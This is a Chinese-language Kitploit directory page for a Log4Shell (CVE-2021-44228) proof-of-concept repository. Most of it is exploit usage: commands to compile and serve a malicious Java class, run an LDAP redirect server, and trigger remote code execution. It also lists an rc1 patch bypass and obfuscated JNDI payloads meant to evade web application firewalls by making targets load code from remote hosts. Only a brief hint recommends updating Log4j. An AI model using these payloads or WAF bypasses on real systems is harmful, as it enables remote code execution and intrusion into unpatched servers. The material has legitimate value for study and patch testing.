Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228-Apache-Log4j-Rce — Apache Log4j 远程代码执行 | Kitploit
工具/GitHubGitHub/tangxiaofeng7/cve-2021-44228-apache-log4j-rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过学习与教育远程访问工具
GitHubtangxiaofeng7/cve-2021-44228-apache-log4j-rce

CVE-2021-44228-Apache-Log4j-Rce

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Apache Log4j 远程代码执行

查看仓库
893024年前Kitploit 审核通过

CVE-2021-44228(Apache Log4j 远程代码执行)

所有 log4j-core 版本 >=2.0-beta9 且 <=2.14.1

1.x 版本存在其他漏洞,建议您更新到最新版本。

与 Log4Shell (CVE-2021-44228) 相关的安全公告/通报

使用方法:

下载本项目,编译利用代码 blob/master/src/main/java/Exploit.java,并启动一个允许下载编译后二进制文件的 Web 服务器。

root@kitploit:~
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce

javac Exploit.java

# 启动 web 服务器
# 对于 Python2
python -m SimpleHTTPServer 8888
# 对于 Python3
python3 -m http.server 8888

# 确保 Python web 服务器与 Exploit.class 在同一目录下运行,以进行测试
  curl -I 127.0.0.1:8888/Exploit.class

下载另一个项目并运行 返回 JNDI 引用的 LDAP 服务器实现 https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# 需要 Java 8
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

构建并运行激活代码(在易受攻击的 Java Web 服务器上模拟 log4j 攻击)blob/master/src/main/java/log4j.java,计算器应用将会出现。

root@kitploit:~
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j

# 预期会出现以下情况:
# 1. 计算器应用弹出
# 2. 在 ldapserver 控制台中,
#  Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. 在 webserver 控制台中,
#  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -

提示:

不要指望当前使用的 Java 版本能够拯救你。请更新 Log4j(或移除 JNDI 查找)。禁用扩展功能(这无论如何似乎都是一个坏主意)。

绕过 rc1 补丁

例如:

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/ badClassName}

绕过 WAF

root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

不要信任 Web 应用程序防火墙。

漏洞详情

查找功能提供了一种在任意位置向 Log4j 配置添加值的方法。

查找功能

最终导致泄漏的方法

root@kitploit:~
LogManager.getLogger().error()
LogManager.getLogger().fatal()

简单检测方法

如果您想进行黑盒测试,建议您进行被动扫描。

BurpLog4jScan

玩得开心!!! BurpLog4jScan.png

Star 历史趋势

Stargazers over time

下载工具